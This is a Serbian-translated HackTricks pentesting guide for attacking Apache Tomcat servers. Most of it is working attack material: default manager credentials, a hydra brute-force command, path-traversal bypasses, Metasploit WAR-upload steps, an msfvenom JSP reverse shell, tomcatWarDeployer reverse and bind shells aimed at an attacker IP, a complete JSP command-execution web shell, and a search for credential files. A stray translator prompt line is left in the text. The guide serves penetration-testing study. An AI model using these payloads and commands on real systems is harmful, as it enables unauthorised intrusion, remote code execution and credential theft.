hacktricks/src/network-services-pentesting/pentesting-web/tomcat/README.md

# Tomcat

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## Otkriće

- Obično radi na **portu 8080**
- **Uobičajena Tomcat greška:**

<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>

## Enumeracija

### **Identifikacija verzije**

Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u naslovnom tagu HTML odgovora.

### **Lokacija menadžerskih fajlova**

Identifikacija tačnih lokacija **`/manager`** i **`/host-manager`** direktorijuma je ključna jer njihova imena mogu biti izmenjena. Preporučuje se brute-force pretraga za lociranje ovih stranica.

### **Enumeracija korisničkih imena**

Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Podrazumevajući Akreditivi**

Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava upload i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajeni akreditivi su:

- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat

Ovi akreditivi se mogu testirati koristeći:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Još jedan značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.

### **Brute Force Napad**

Da bi se pokušao brute force napad na direktorijum menadžera, može se koristiti:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.

## Common Vulnerabilities

### **Password Backtrace Disclosure**

Pristup `/auth.jsp` može otkriti lozinku u backtrace-u pod srećnim okolnostima.

### **Double URL Encoding**

CVE-2007-1860 ranjivost u `mod_jk` omogućava dvostruko URL kodiranje putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreirane URL adrese.

Da biste pristupili upravljačkom web interfejsu Tomcat-a, idite na: `pathTomcat/%252E%252E/manager/html`

### /examples

Apache Tomcat verzije 4.x do 7.x uključuju primer skripti koje su podložne otkrivanju informacija i napadima skriptovanja između sajtova (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti na neovlašćen pristup i potencijalnu eksploataciju. Pronađite [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)

- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp

### **Path Traversal Exploit**

U nekim [**ranjivim konfiguracijama Tomcat-a**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: `/..;/`

Dakle, na primer, možda ćete moći da **pristupite Tomcat menadžeru** stranici pristupom: `www.vulnerable.com/lalala/..;/manager/html`

**Drugi način** da zaobiđete zaštićene putanje koristeći ovu trik je pristupiti `http://www.vulnerable.com/;param=value/manager/html`

## RCE

Na kraju, ako imate pristup Tomcat Web Application Manager-u, možete **otpremiti i implementirati .war datoteku (izvršiti kod)**.

### Limitations

Možete implementirati WAR samo ako imate **dovoljna prava** (uloge: **admin**, **manager** i **manager-script**). Ti detalji se obično nalaze u _tomcat-users.xml_ definisanom u `/usr/share/tomcat9/etc/tomcat-users.xml` (varira između verzija) (vidi [POST ](#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell

1. Kreirajte war za implementaciju:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
```
2. Učitajte `revshell.war` datoteku i pristupite joj (`/revshell/`):

### Bind i reverse shell sa [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)

U nekim scenarijima ovo ne funkcioniše (na primer, stare verzije sun)

#### Preuzmi
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Obrnuta ljuska
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Korišćenje [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Ručna metoda - Web shell

Kreirajte **index.jsp** sa ovim [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Možete takođe instalirati ovo (omogućava upload, download i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Preuzmite JSP web shell kao što je [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST

Ime datoteke sa Tomcat kredencijalima je `tomcat-users.xml` i ova datoteka označava ulogu korisnika unutar tomcat-a.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Please provide the text you would like me to translate.
```xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
```
## Ostali alati za skeniranje tomcat-a

- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

## Reference

- [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
- [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)

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